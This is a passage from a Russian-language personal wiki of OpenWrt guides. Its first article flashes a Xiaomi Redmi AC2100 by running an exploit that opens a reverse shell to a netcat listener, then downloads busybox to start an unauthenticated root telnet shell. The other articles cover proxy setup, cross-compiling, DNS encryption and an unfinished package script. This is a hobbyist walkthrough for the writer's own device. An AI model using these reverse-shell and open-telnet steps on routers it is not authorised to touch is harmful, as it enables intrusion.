wiki.autosys.tk - openwrt

flash_xiaomi_redmi_ac2100

anonymous@undisclosed.example.com (Anonymous) — Tue, 26 Oct 2021 20:04:03 +0000

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

Прошивка роутера Xiaomi Redmi AC2100 из Ubuntu 20.04

Как это работает.
Есть два скрипта:

Первый - реализует PPPoE сервер
Второй - это эксплоит уязвимости, который делает reverse shell - то есть заставляет роутер подсоединиться на заданный IP-адрес и порт и получать оттуда shell-команды.

После получения shell'а мы скопируем туда busybox, затем с его помощью запустим сервер telnet.
Потом - подключимся туда клиентом telnet и прошьем то что нам нужно.

Установим софт, скачаем скрипты и OpenWrt

На хосте, с которого прошиваем роутер долджен быть установлен python3.8 (скорее всего и с более старыми все заработает) - с более новыми возможны проблемы, решение которых приведено в конце статьи.
Итак, выполняем:

mkdir ./ac2100 && cd ./ac2100
sudo python -m pip install --upgrade pip
sudo pip3 install scapy
wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-mipsel -O busybox

wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin
wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin

wget https://wiki.autosys.tk/_media/openwrt/ac2100_scripts.tar.gz
tar -xvf ./ac2100_scripts.tar.gz

В директории, в которой находятся имиджи OpenWrt, нужно запустить HTTP-сервер, чтобы можно было скачать имиджи в роутер:

sudo python -m http.server 80

Взлом роутера

Подключаем один из LAN-портов Redmi AC2100 к хосту с помощью патчкорда.
Вторым патчкордом соединяем WAN-порт с одним из LAN-портов.
На сетевом интерфейсе хоста, к которому подключен Redmi AC2100 прописываем адрес 192.168.31.177. Это важно, поскольку именно на этот адрес будет подключаться роутер после применения эксплоита.
В pppoe-simulator.py прописываем свой ethernet-интерфейс (в строке interface = “…“) и запускаем:

chmod +x ./pppoe-simulator.py
sudo python3 ./pppoe-simulator.py

Теперь - идем в web-интерфейс роутера по адресу http://192.168.31.1 и жмем большую синюю кнопку. Роутер сам обнаружит, что ему доступен PPPoE-сервис и предложит ввести логин и пароль. Вводим любые логин/пароль (например и там и там 123) и подключаемся. В окне с pppoe-simulator.py увидим, что роутер подключился.
Открываем еще одно терминала и запускаем netcat - фактически сервер, к которому подключится взломанный роутер, чтобы получать shell-команды:

sudo netcat -nvlp 31337

В результате по нашему адресу 192.168.31.177 на порту 31337 должен быть доступен сокет. Адрес и порт менять нельзя - они захардкожены в эксплоите.
Теперь - в скрипте cve.py прописываем наш интерфейс (в строке interface = ”…“) и в строке с условием определения адреса жертвы первые шесть символов (можно и весь) мак-адрес роутера, написанный на стикере на его брюхе.

if src.startswith("your:router:mac")

и выполняем эксплоит:

sudo python3 ./cve.py

Он выдаст примерно такое:

sessionid:246
src:00:00:00:00:0b:6f
dst:28:d1:27:dc:20:58
.
Sent 1 packets.

В результате через пару секунд в окне с запущенным netcat должна появиться строка:

Connection received on 192.168.31.1 45500

Это значит, что shell полулчен и можно выполнять команды!!! Команды вводить прямо в окне netcat после строки Connection received …
Наша цель - запустить сервер telnet. Если в процессе ввода команд shell отвалится (netcat закроется), то netcat надо перезапустить и еще раз запустить cve.py.
После запуска telnet соединени будет стабильно. Чтобы запустить telnet выполняем:

wget http://192.168.31.177/busybox -O /tmp/busybox
chmod +x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Теперь на роутере работает сервер telnet и к нему можно подключиться. Запускаем telnet:

telnet

И вводим команду:

o 192.168.31.1

В итоге должны увидеть такое:

telnet> o 192.168.31.1
Trying 192.168.31.1...
Connected to 192.168.31.1.
Escape character is '^]'.

BusyBox v1.19.4 (2019-12-26 08:38:38 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/lib/netifd/proto #

И теперь собственно прошивка:

wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin -O /tmp/kernel1.bin
wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin -O /tmp/rootfs0.bin

# Enable uart and bootdelay, useful for testing or recovery if you have an uart adapter!
nvram set uart_en=1
nvram set bootdelay=5
# Set kernel1 as the booting kernel
nvram set flag_try_sys1_failed=1
# Commit our nvram changes
nvram commit
# Flash the kernel
mtd write /tmp/kernel1.bin kernel1
mtd -r write /tmp/rootfs0.bin rootfs0

В итоге - роутер должен сам перезагрузиться в OpenWrt.
Дальше - подключаем роутер кабелем интернету, на компе выставляем получение адреса по DHCP (в итоге OpenWrt должен выдать нам адрес из подсети 192.168.1.0/24) логинимся в него по ssh (без пароля):

ssh root@192.168.1.1

Устанавливаем на него web-интерфейс luci:

opkg update
opkg install luci

Всё. Дальше можно идти в web-морду и настраивать всё как обычно!

Обновление

Для обновления - скачиваем отсюда https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin и прошиваем.
Не забываем, что в образах нету luci и после прошивки потребуется ее переустановить:

opkg update
opkg install luci

Ну и переустановить и перенастроить те пакеты, которые вы использовали.
В моем случае - haproxy:

opkg install haproxy

Обновление CLI

cd /tmp
wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin
wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/sha256sums
sha256sum -c sha256sums 2> /dev/null | grep OK
sysupgrade -v -k openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin

Если в системе python 3.9 и новее

Если у вас в системе установлен python 3.9 или более новый (как, например, в моей Ubuntu 21.04) , то запуск pppoe-simulator.py приведет к ошибке:

Waiting for packets
Traceback (most recent call last):
  File "/home/mike/ac2100/./pppoe-simulator.py", line 183, in <module>
    sniff(prn=packet_callback, filter="pppoed or pppoes", lfilter=isNotOutgoing)
  File "/usr/local/lib/python3.9/dist-packages/scapy/sendrecv.py", line 1263, in sniff
    sniffer._run(*args, **kwargs)
  File "/usr/local/lib/python3.9/dist-packages/scapy/sendrecv.py", line 1210, in _run
    session.on_packet_received(p)
  File "/usr/local/lib/python3.9/dist-packages/scapy/sessions.py", line 108, in on_packet_received
    result = self.prn(pkt)
  File "/home/mike/ac2100/./pppoe-simulator.py", line 63, in packet_callback
    for tag in pkt[PPPoED][PPPoED_Tags].tag_list:
  File "/usr/local/lib/python3.9/dist-packages/scapy/packet.py", line 1344, in __getitem__
    raise IndexError("Layer [%s] not found" % name)
IndexError: Layer [PPPoED_Tags] not found

Для того, чтобы запустить pppoe-simulator.py нужно установить python3.8 и запускать скрипт pppoe-simulator.py в нем.

Установка python3.8 рядом с python3.9

wget https://www.python.org/ftp/python/3.8.7/Python-3.8.7.tgz
tar -xvzf ./Python-3.8.7.tgz 
cd Python-3.8.7/
./configure --enable-optimizations
sudo make clean
sudo make -j8
sudo make altinstall
sudo python3.8 -m pip install --upgrade pip
sudo python3.8 -m pip install scapy

и запускаем

sudo python3.8 ./pppoe-simulator.py

Также возможна такая ошибка:

FileNotFoundError: [Errno 2] No such file or directory: b'liblibc.a'

которая лечится так:

cd /usr/lib/x86_64-linux-gnu/
sudo ln -s -f libc.a liblibc.a

get_bad_ips_from_log

anonymous@undisclosed.example.com (Anonymous) — Wed, 13 Oct 2021 12:01:59 +0000

logread  | grep 'Exit before auth' | awk '{print $12}' | sed 's/[<,>]//g' | sed 's/:$//g' | cut -d: -f1 | uniq | grep -v 192.168.77 | sed 's/^/iptables -I INPUT -j DROP -s /g' && /etc/init.d/log restart

kuwfi-ax1800-tenbay-t-mb5eu-v01

anonymous@undisclosed.example.com (Anonymous) — Tue, 28 Dec 2021 10:23:43 +0000

Тут описан мой опыт прошивки Openwrt на роутер KuwFi AX1800, он же Tenbay T-MB5EU-V01 / WR1800K / WR1800G (LEGUANG, AMPCOM и др.)
Snapshot-образы - https://firmware-selector.openwrt.org/?version=SNAPSHOT&target=ramips%2Fmt7621&id=tenbay_t-mb5eu-v01
Немного про сборку и замену флешки 16Мб → 32Мб: https://forum.openwrt.org/t/kuwfi-tenbay-wifi-6-ax-t-mb5eu-v01/99090

Как шить

Нужно положить в директорию файлики с образами kernel и sysupgrade и запустить TFTP-сервер.

Примерно так:

sudo dnsmasq --port=0 --enable-tftp --tftp-root=/home/user/kuwfi/ --tftp-no-blocksize --user=root --group=root

Затем - подпаять к контектным площадкам кабель UART и подключиться к консоли при помощи minicom:
```
sudo minicom -b 115200 -D /dev/ttyUSB0
```
При старте U-Boot у данного роутера появляется меню. В момент появления меню нужно нажать какую-нибудь стрелочку, чтобы загрузка остановилась и можно было выбрать пункт для прошивки - 2.
Дальше нужно выбрать прошивку по TFTP, не забыть подключить роутер (любой из LAN-портов) кабелем к компу, задать адрес TFTP-сервера (компа), задать адрес самого роутера, маску и ввести имя файла. Я прошивал последовательно kernel и затем sysupgrade образы. И все завелось.
После прошивки рекомендую подключить роутер к интернету и установить Web-морду Openwrt:
```
opkg update
opkg install luci
```
Рекомендую - установить и настроить скрипт для автоматического восстановления пакетов после обновления прошивок с помощью sysupgrade. Без этого скрипта после обновления прошивки сохраняются только настройки, но не установленные пакеты.

Прошивка Openwrt из Web-интерфейса оригинальной прошивки

Я попробывал вот это: https://github.com/blocktrron/t-mb5eu-v01-factory-creator/ - скрипт добавляет в образ openwrt метаданные, которые позволяют прошить его через интерфейс заводской прошивки.
Я попытался так сконвертить образ sysupgrade, зашил его (родная прошивка признала образ) и роутер окирпичился. Возможно, на заводскую прошивку надо было зашивать kernel-образ.

Несколько слов про сборку после припайки UART

Наверное, важно не перепутать местами провода антенн. Черные - 2,5GHz, серые - 5GHz. На плате есть обозначения.

Антенны

У штатных антенн длинна - 150мм, ширина PCB - 11мм. В штатные корпуса корпус могут влезть антенны шириной не более 13мм и длинной не более 150мм.

Качество работы Wi-Fi

Могу сравнить с Xiaomi Redmi AC2100. У него антенны припаяны, а у KuwFi - на разъемах ipex.
Так вот в одних и тех же непростых условиях (три кирпичные стены) при максимальной мощности в 20dBm (100mW) для обоих диапазонов AC2100 показывает уровень соотношения сигнал/шум -64 (2.5GHz) и -71dBm(5GHz), а KuwFi -77dBm (2.5Ghz) и -84dBm (5GHz).
При увеличении мощности на 5GHz до 22dBm (158mW) уровень сигнала повышавется до -81dBm (региональные настройки - India).

Измерение температуры

Радиочипсет MT7915 имеет встроенные датчики температуры, показания с которых видны так:

cat /sys/class/ieee80211/phy*/hwmon*/temp1_input

А чтобы увидеть их в Web-интерфейсе LuCi нужно установить пакетик отсюда: https://githubmemory.com/repo/gSpotx2f/luci-app-temp-status

wget --no-check-certificate -O /tmp/luci-app-temp-status_0.3-5_all.ipk https://github.com/gSpotx2f/packages-openwrt/raw/master/current/luci-app-temp-status_0.3-5_all.ipk
opkg install /tmp/luci-app-temp-status_0.3-5_all.ipk
rm /tmp/luci-app-temp-status_0.3-5_all.ipk
/etc/init.d/rpcd reload

Температурные режимы

При отсутствии трафика температура чипа MT7915E в моем девайсе находится в районе 50-53 градуса (при температуре в помещении 22). Под нагрузкой (пара клиентов с iperf в режиме UDP) - в течение часа поднимается до 70-74 градусов. Деградации скорости не наблюдается.
Клиент-сервер iperf - это еще один роутер под OpenWrt подключенный в режиме беспроводного клиента стандарта N (на нем iperf -s) и компик, подключенный по проводу (на нем iperf -c …). Фактическая скорость по показаниям iperf относительно невысока ~ 40Mbit/sec, поскольку устройство с сервером iperf находится довольно далеко.
При этом - нагрузка на CPU самого роутера Tenbay T-MB5EU-V01 относительно невелика. load average: 0.20, 0.16, 0.13
После остановки трафика iperf - температура MT7915E падает с 74 до 68 градусов буквально в течение трех-пяти секунд, что указывает на довольно неплохой теплообмен, а в качестве критической температуры для чипа MT7915E ядро считает значение 110 градусов.

Оригинальный комментарий к коммиту git

Написано тут: https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=51b61fd57059adeb10a3977e00772af2b76dc40b

Hardware
--------
MediaTek MT7621 SoC
256M DDR3
16MB BoHong SPI-NOR
MediaTek MT7905+7975 2x2T2R DBDC bgnax / acax
RGB LED
WPS + RESET Button
UART on compute module (silkscreened / 115200n8)

The router itself is just a board with Power / USB / RJ-45 connectors
and DC/DC converters. The SoC and WiFi components are on a
daughterboard which connect using two M.2 connectors.

The compute module has the model number "T-CB1800K-DM2 V02" printed on
it. The main baord has "T-MB5EU V01" printed on it. This information
might be useful, as it's highly likely either of these two will be
reused in similar designs.

The router itself is sold as Tenbay T-MB5EU directly from the OEM as
well as "KuWFI AX1800 Smart WiFi 6 Eouter" on Amazon.de for ~50€ in a
slightly different case.

Installation
------------

A Tool for creating a factory image for the Vendor Web Interface can be
found here: https://github.com/blocktrron/t-mb5eu-v01-factory-creator/

As the OEM Firmware is just a modified LEDE 17.01, you can also access
failsafe mode via UART while the OS boots, by connecting to UART
and pressing "f" when prompted. The Router is reachable at
192.168.1.1 via root without password.

Transfer the OpenWrt sysupgrade image via scp and apply with sysupgrade
using the -n and -F flags.

Alternatively, the board can be flashed by attaching to the UART
console, interrupting the boot process by keeping "0" pressed while
attaching power.

Serve the OpenWrt initramfs using a TFTP server with address
192.168.1.66. Rename the initramfs to ax1800.bin.

Attach your TFTP server to one of the LAN ports. Execute the following
commands.

 $ setenv ipaddr 192.168.1.67
 $ setenv serverip 192.168.1.66
 $ tftpboot 0x84000000 ax1800.bin
 $ bootm

Wait for the device to boot. Then transfer the OpenWrt sysupgrade image
to the device using SCP and apply sysupgrade.

mainpage

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:28 +0000

nginx_ssl_without_nginx_rebuilding

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:28 +0000

Задача

Мне понадобилось сделать reverse proxy с поддержкой SSL на роутере с OpenWrt LEDE 18.06.
Предвосхищая вопрос “зачем?” - для бекапа я пользуюсь неплохим бесплатным хостингом, который отказывается работать с некоторыми доменными зонами. В частности - .tk. В качестве практически бесплатного решения - я решил перенаправить трафик через мой домашний роутер со статическим внешним IP.

SSL штатными пакетами OpenWrt

В репозитории OpenWrt есть nginx, однако он собран без поддержки SSL. Многие мануалы, для поддержки SSL рекомендуют пересобрать пакет nginx с нужными фичами.
Я пошел другим путем и выяснил, что для решения этой задачи можно обойтись только пакетами из репозитория OpenWrt, возложив функцию шифрования трафика на haproxy.
Итак - nginx будет revese proxy, а haproxy будет шифровать SSL. Поехали. Попутно - получим сертификаты Let's Encrypt
Предварительно нужно изменить порт на котором работает штатный web-интерфейс OpenWrt. Для этого отредактируем файлик /etc/config/uhttpd.

Ставим пакеты

Ставим пакеты из консоли, либо из web-интерфейса.

opkg update
opkg install nginx haproxy luci-ssl-openssl curl ca-bundle nano

Конфигурация nginx

/etc/nginx/nginx.conf

user nobody nogroup;
worker_processes  1;

events {
    worker_connections  1024;
}

http {
    include       mime.types;
    sendfile        on;
    keepalive_timeout  65;

    server {
    listen 80 default_server;
       return 444;
    }

    server {
        listen       80;
        server_name  wiki.autosys.tk;

        location /.well-known/acme-challenge/ {
            root   /www;
        }

        location / {
                proxy_pass http://redmike.unaux.com:80;
        }
        location /cgi-bin/ {
                proxy_pass http://127.0.0.1:8080;
                proxy_set_header Host $host;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header X-Real-IP $remote_addr;
        }
        location /luci-static/ {
                proxy_pass http://127.0.0.1:8080;
                proxy_set_header Host $host;
                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                proxy_set_header X-Real-IP $remote_addr;
        }

    }
}

Перезапускаем nginx:

/etc/init.d/nginx restart

Получаем сертификат

Будем получать сертификат Let's Encrypt с помощью acme.sh

curl https://raw.githubusercontent.com/Neilpang/acme.sh/master/acme.sh > acme.sh
chmod a+x "acme.sh"
./acme.sh --install
cd /root/.acme.sh
DOMAIN=wiki.autosys.tk
./acme.sh --issue -d $DOMAIN -w /www

Если все прошло без ошибок, то объединяем сертификат и ключ в файл .pem

cat /root/.acme.sh/wiki.autosys.tk/wiki.autosys.tk.cer /root/.acme.sh/wiki.autosys.tk/wiki.autosys.tk.key > /root/wiki.autosys.tk.pem

Конфигурация haproxy

В конфигурации haproxy прописан сертификат, который мы получили на предыдущем этапе

/etc/haproxy.cfg

global
    maxconn 4096

defaults
    mode    http
    option forwardfor
    option http-server-close
    option  httplog
    option  dontlognull
    retries 3
    option redispatch
    maxconn 2000
    timeout connect     5000
    timeout client     50000
    timeout server     50000
    #default-server init-addr none

frontend www-https
    bind *:443 ssl crt /root/wiki.autosys.tk.pem
    reqadd X-Forwarded-Proto:\ https

    # Define hosts
    acl host_wiki hdr(host) -i wiki.autosys.tk

    ## figure out which one to use
    use_backend wiki-backend if host_wiki
    default_backend wiki-backend

backend wiki-backend
    redirect scheme https if !{ ssl_fc }
    server wiki-node1 127.0.0.1:80 check

openwrt_crosscompiling

anonymous@undisclosed.example.com (Anonymous) — Mon, 11 Feb 2019 09:13:28 +0000

В данной статье процесс компиляции и создания пакетов для OpenWRT. Он немного устарел (описан процесс для OpenWRT Backfire), но вцелом все должно быть актуально и для новых версий.

Получение исходников OpenWrt

Поскольку для сборки мы будем использовать OpenWrt Build System то первое что необходимо сделать это получить исходный код OpenWRT. Если он у вас уже есть можно переходить к следующему пункту. Я использую OpenWrt 10.03, codename Backfire.

svn co svn://svn.openwrt.org/openwrt/branches/backfire openwrt

Должен появится каталог openwrt. Перейдем в него:

cd openwrt

В этом каталоге есть 3 ключевые директории: - toolchain - target - package

Вкратце по этим директориям:

toolchain – В этой директории содержится компилятор, библиотеки а также основные утилиты необходимые для построения и сборки образа прошивки. После выполнения команды make toolchain/install появляется директория staging_dir которая и содержит скомпилированный и установленный toolchain.

target – имеет отношение к “встроенной” embedded платформе. Содержит файлы и патчи относящиеся к различным embedded платформам. Например каталог target/linux содержит патчи и конфиги ядра специфичные для каждой платформы, а в каталоге target/image описано как именно собирать образ прошивки для той или иной платформы.

package – каталог в котором содержатся исходники, патчи и конфиги всех пакетов которые можно собрать для OpenWRT. Собственно этот каталог и нужен нам для сборки собственных приложений.

Также стоит отметить что все необходимые исходники и дополнительные файлы в процессе сборки OpenWRT загружаемые из интернета и ложатся в каталог dl, а каталог build_dir это временный каталог для сборки.

Для дальнейших шагов необходимо выполнить:

Получим исходники всех необходимях для сборки пакетов

./scripts/feeds update -a && ./scripts/feeds install -a

Соберем tools и toolchain

make prereq && make tools/install && make toolchain/install

Кросскомпиляция

Кросскомпиляция позволяет получить из исходников исполняемый файл под нужную платформу.

Для того чтобы исходник компилировался под нужную нам платформу достаточно вставить в Makefile директивы с указанием правильно компилятора. Мануал Openwrt предписывает нам скомпилировать среду для разработки, затем в директории ./staging_dir/toolchain-…../bin/ найти компилятор под нужную платформу и указать на него в Makefile директивами CC и LD. Это можно сделать так:

PATH=$PATH:/home/mike/backfire/staging_dir/toolchain-mipsel_gcc-4.3.3+cs_uClibc-0.9.30.1/bin/
export PATH
STAGING_DIR=/home/mike/backfire/staging_dir
export STAGING_DIR

А в Makefile указать компилятор. Если export работает нормально, то указывать можно и без полных путей. У меня export тупил и я написал с полными путями:

CC = /home/mike/backfire/staging_dir/toolchain-mipsel_gcc-4.3.3+cs_uClibc-0.9.30.1/bin/mipsel-openwrt-linux-uclibc-gcc
LD = /home/mike/backfire/staging_dir/toolchain-mipsel_gcc-4.3.3+cs_uClibc-0.9.30.1/bin/mipsel-openwrt-linux-uclibc-ld
all: autosys

%.o: %.c
        $(CC) $(CFLAGS) $(EXTRA_CFLAGS) -c -I. -Iinclude -o $@ $^
    
autosys: main.o
        $(CC) -o $@ $^ -L.

clean:
        rm -f *.o autosys

А дальше просто make и все…

Создание нового пакета

Итак нам нужен каталог package

cd package

Создадим в нем директорию simple и simple/src

mkdir simple
mkdir simple/src
cd simple/src

Добавление исходников

В каталог simple/src положим исходник нашего приложения. Создадим файл main.c в simple/src директории с текстом:

#include
int main(void)
{
	int i=0;
	while (i < 100) {
		printf(" Hello world %d \n",i);
		i++;
	}
	return 0;
}

Далее подготовим Makefile для компиляции main.c в каталоге simple/srс с таким содержимым (отступы делать табуляцией)

# build executable on typing make
all: simple

%.o: %.c
	$(CC) $(CFLAGS) $(EXTRA_CFLAGS) -c -I. -Iinclude -o $@ $^

simple: main.o
	$(CC) -o $@ $^ -L.

clean:
	rm -f *.o simple

Компилирование на локальной машине под host платформу

Все исходник готов. Можно проверить как он собирается и выполняется на локальной машине (обратите внимание это пока не кросс компиляция):

$ make
cc   -c -I. -Iinclude -o main.o main.c
cc -o simple main.o -L.
$ ./simple
Hello world 0
Hello world 1
...
Hello world 99

Исходник собрался под host платформу без проблем, перейдем к сборке под embedded платформу. Для этого вначале почистим исходники:

make clean

Подготовка к кросс компилированию средствами OpenWRT

Поднимемся в директорию package/simple:

cd ..

Создадим следующий Makefile:

#
# Top level makefile for simple application
#

include $(TOPDIR)/rules.mk

PKG_NAME:=simple
PKG_VERSION:=1.0.0
PKG_RELEASE:=1

include $(INCLUDE_DIR)/package.mk

define Package/simple
  SECTION:=utils
  CATEGORY:=Utilities
  TITLE:=simple -- prints simple 1 to 99
endef

define Build/Prepare
	mkdir -p $(PKG_BUILD_DIR)
	$(CP) ./src/* $(PKG_BUILD_DIR)
endef

define Build/Configure
endef

TARGET_CFLAGS += $(FPIC)

define Package/simple/install
	$(INSTALL_DIR) $(1)/bin
	$(INSTALL_BIN) $(PKG_BUILD_DIR)/simple $(1)/bin/
endef

$(eval $(call BuildPackage,simple))

Как видно этот файл не очень сложный но необходимо знать значения следующих переменных:

PKG_NAME – Имя пакета, которое будет видно в menuconfig и ipkg/opkg PKG_VERSION – Версия пакета PKG_RELEASE – Версия Makefile этого пакета PKG_BUILD_DIR – Директория для компилирования пакета PKG_SOURCE – Имя файла оригинальных исходников

PKG_SOURCE_URL – URL загрузки оригинальных исходников PKG_MD5SUM – MD5 – checksum для проверки загрузки PKG_CAT – Чем распаковывать исходники (zcat, bzcat, unzip)

Как видно не все из этих переменных обязательны. Наиболее важными секциями являются секции define Package/_name_ и define Package/_name_/install:

Package/_name_

Секция описывает пакет для menuconfig и ipkg/opkg.

SECTION – Тип пакета (на текущий момент не используется) CATEGORY – В каком меню должно находится приложение в menuconfig TITLE – Короткое описание пакета DESCRIPTION – Длинное описание пакета URL – URL исходного приложения MAINTAINER – (не обязательно) Контактные данные дева DEPENDS – (не обязательно) Какие пакеты должны быть установлены до этого пакета.

Package/_name_/install

В этой секции должен быть описан список команд для копирования собранных исходников в пакет (пакет представлен в виде $(1) директории) Компилирование

Поднимемся в корневую директорию OpenWRT и запустим конфигуратор:

$ cd ..
$ make menuconfig

В конфигураторе ищем свое приложение и отмечаем его как <M> (не забывайте также в конфигураторе сделать базовые настройки, как например выбор платформы) :

Utilities  ---> <M> simple

Здесь следует отметить как происходит выбор компонент в конфигураторе:

<*> (по клавише y) этот пакет будет включен в образ прошивки
<M> (по клавише m) этот пакет будет собран в виде отдельного пакета но не включен в образ прошивки (для последующей установки пакета вручную)
< > (по клавише n) этот пакет не будет собран

Для кругового select также можно использовать пробел.

Собственно компилирование:

make V=99

После компилирования все прошивки и пакеты будут находится в каталоге bin. Т.к. я собирал OpenWRT под свой D-Link DIR-320 то пакеты у меня находятся в каталоге bin/brcm47xx/package. В этом каталоге содержится ваш собственный репозиторий. Установка пакета

Достаточно открыть этот каталог по http, и в конфигурационном файле ipkg/opkg вашей embedded системы прописать url к http серверу.

Обновляем список пакетов и устанавливаем пакет simple:

root@OpenWrt:~# opkg update
Downloading http://192.168.120.2/pkg/Packages.gz.
Inflating http://192.168.120.2/pkg/Packages.gz.
Updated list of available packages in /var/opkg-lists/packages.
root@OpenWrt:~# opkg install simple
Installing simple (1.0.0-1) to root...
Downloading http://192.168.120.2/pkg/simple_1.0.0-1_brcm47xx.ipk.
Configuring simple.

Проверим работу:

root@OpenWrt:~# simple
 Hello world 0
 Hello world 1
 Hello world 2
 Hello world 3
 Hello world 4
 ...
 Hello world 98
 Hello world 99

Собственно все, приложение скомпилировано и работает.

openwrt_lede_dns_over_https_tls

anonymous@undisclosed.example.com (Anonymous) — Wed, 11 Nov 2020 21:44:18 +0000

Шифроавние DNS-запросов

Есть две техники DNS over TLS (с помощью пакета stubby) и DNS over HTTPS (с помощью http-dns-proxy).
Говорят, что stubby (DoT) работает быстрее и лучше https://forum.openwrt.org/t/https-dns-proxy-vs-stubby/52446

DNS Over TLS

https://www.opennet.ru/tips/3061_unbound_dns_tls_crypt.shtml

https://forum.openwrt.org/t/tutorial-no-cli-configuring-dns-over-tls-with-luci-using-stubby-and-dnsmasq/29143

Log into LuCI at http://192.168.1.1/cgi-bin/luci/ 45, go to System → Software, and hit the Update Lists button.
Filter down to find the package called “stubby”, and click the Install button. For OpenWrt 18.06.1 users, also install “ca-certificates” and “ca-bundle”. This is needed due to a missed dependency on the stubby package. Newer versions of OpenWrt corrected this.
Go to System → Startup, find stubby, and click the Start button. Also set stubby to “Enabled” on this same screen.
Go to Network → Interfaces. Click the edit button for WAN, go to advanced settings, and uncheck “Use DNS servers advertised by peer” and in “Use custom DNS servers” set it to 127.0.0.1. Then press Save & Apply. Repeat this same step for the WAN6 interface, using 0::1 instead of 127.0.0.1.
Under Network → DHCP and DNS, click the “Resolv and Hosts Files” tab, and put a check mark next to “Ignore resolve file”. Press Save & Apply.
Under Network → DHCP and DNS, click the “General Settings” tab, set the “DNS forwardings” list to 0::1#5453 and 127.0.0.1#5453.
Go to System → Startup, find “dnsmasq” and click “Restart”.

DNS Over HTTPS

У меня работал DNS over HTTPS, однако он часто затуплял (очень нагружал проц) и переставал работать. Изменение настрок не сильно помогало. Версии LEDE - 18.06 и 19.07.

openwrt_wifi_bridge

anonymous@undisclosed.example.com (Anonymous) — Wed, 30 Jul 2025 14:27:25 +0000

Я использую старый роутер, прошитый OpenWrt для подключения проводных клиентов (android-приставка с RJ45, но очень слабым Wifi) к беспроводной сети.
Роутер выступает в качестве беспроводного клиента, на которол настроен bridge между беспроводным интерфейсом и проводным хабом.
https://openwrt.org/docs/guide-user/network/wifi/relay_configuration
backup-openwrt-tp-link-tl-wr841n-wirelessbridge.tar.gz

https://www.nerd-quickies.net/2019/08/20/setup-lan-wlan-bridge-with-openwrt-luci/

phicomm_k2g_sectec_st-w52-in-dual

anonymous@undisclosed.example.com (Anonymous) — Wed, 30 Jul 2025 13:10:26 +0000

https://openwrt.org/toh/hwdata/phicomm/phicomm_k2g
Прошивка Openwrt на Phicomm K2G/SECTEC ST-W52IN-DUAL

Выключаем питание
Зажимаем ресет и подлключаем питание. Роутер включит красный светодиод и получит адрес 192.168.1.1.
заходим на http://192.168.1.1 и видим консоль на китайском языке для прошивки.
Слева выбираем второй пункт сверху, ставим галку Firmware, в выпадающем меню трогаем (там выбрано 0x50000).
Также на этой стронице ставим нижнюю галку - Автоматический ребут
Прошиваем устпановочный образ (не sysupgrade) - initramfs-kernel.bin

script_for_installing_packages_after_sysupgrade

anonymous@undisclosed.example.com (Anonymous) — Tue, 02 Sep 2025 18:42:20 +0000

https://gist.github.com/patrakov/8fca04e0bec139e9a9e169dc4b9783f4

mkdir /etc/package-list
nano /etc/package-list/persist.sh

#!/bin/sh

exec > /var/log/persist-packages.log 2>&1
set -x

PKGS=/etc/package-list/extra-packages.txt

# https://github.com/openwrt/packages/issues/6744, not fixed in 18.06.x
fix_route53() {
  if grep -q CURL_SSL /usr/lib/ddns/update_route53_v1.sh 2>/dev/null ; then
    sed -i /CURL_SSL/d /usr/lib/ddns/update_route53_v1.sh
  fi
}

run_with_timeout() {
  local t=$1; shift
  ( "$@" & pid=$!
    ( sleep "$t"; kill -9 $pid ) 2>/dev/null &
    wait $pid
  )
}

list_extra_packages_opkg() {
  # If file with packages not exists or packages wer installed after this file was updated (status file newr than $PKGS)
  if [ ! -f $PKGS ] || [ /usr/lib/opkg/status -nt $PKGS ] ; then
    # Find the latest package in the ROM
    PROG='
      $1 == "Installed-Time:" && ($2 < NEWEST || NEWEST=="") {
        NEWEST=$2
      }
      END {
        print NEWEST
      }
    '
    FLASH_TIME="$( awk "$PROG" /rom/usr/lib/opkg/status )"

    # All user-installed packages minus those from ROM mistakenly marked as such
    # plus (those explicitly marked previously minus those not installed)
    MARKED=`awk '{RE=RE "|" $0} END { print RE }' $PKGS`
    MARKED='^('${MARKED#|}')$'
    PROG='
      $1 == "Package:" {
        PKG=$2
        USR=""
      }
      $1 == "Status:" && $3 ~ "user" {
        USR=1
      }
      $1 == "Installed-Time:" && $2 > FT && ( USR || ( PKG ~ MARKED ) ) {
        print PKG
      }
    '
    awk -v FT="$FLASH_TIME" -v MARKED="$MARKED" "$PROG" /usr/lib/opkg/status | sort > $PKGS.tmp
    
    mv $PKGS.tmp $PKGS

    # Maybe somebody updated it and OpenWRT team forgot to propagate the fix?
    fix_route53
  fi
}

list_extra_packages_apk() {
  # If file with packages not exists or some packages were installed after this file was updated (status file newr than $PKGS)
  if [ ! -f $PKGS ] || [ /etc/apk/world -nt $PKGS ] ; then
    cat /etc/apk/world /rom/etc/apk/world | sort | uniq -u > $PKGS.tmp
    mv $PKGS.tmp $PKGS
    # Maybe somebody updated it and OpenWRT team forgot to propagate the fix?
    fix_route53
  fi
}

install_extra_packages_opkg() {
  set -e
  opkg update
  UPGRADE=`opkg list-upgradable | cut -d ' ' -f 1`
  if [ -n "$UPGRADE" ] ; then
    opkg upgrade $UPGRADE
    opkg flag ok $UPGRADE
  fi
  INSTALL_CANDIDATES=`cat $PKGS`
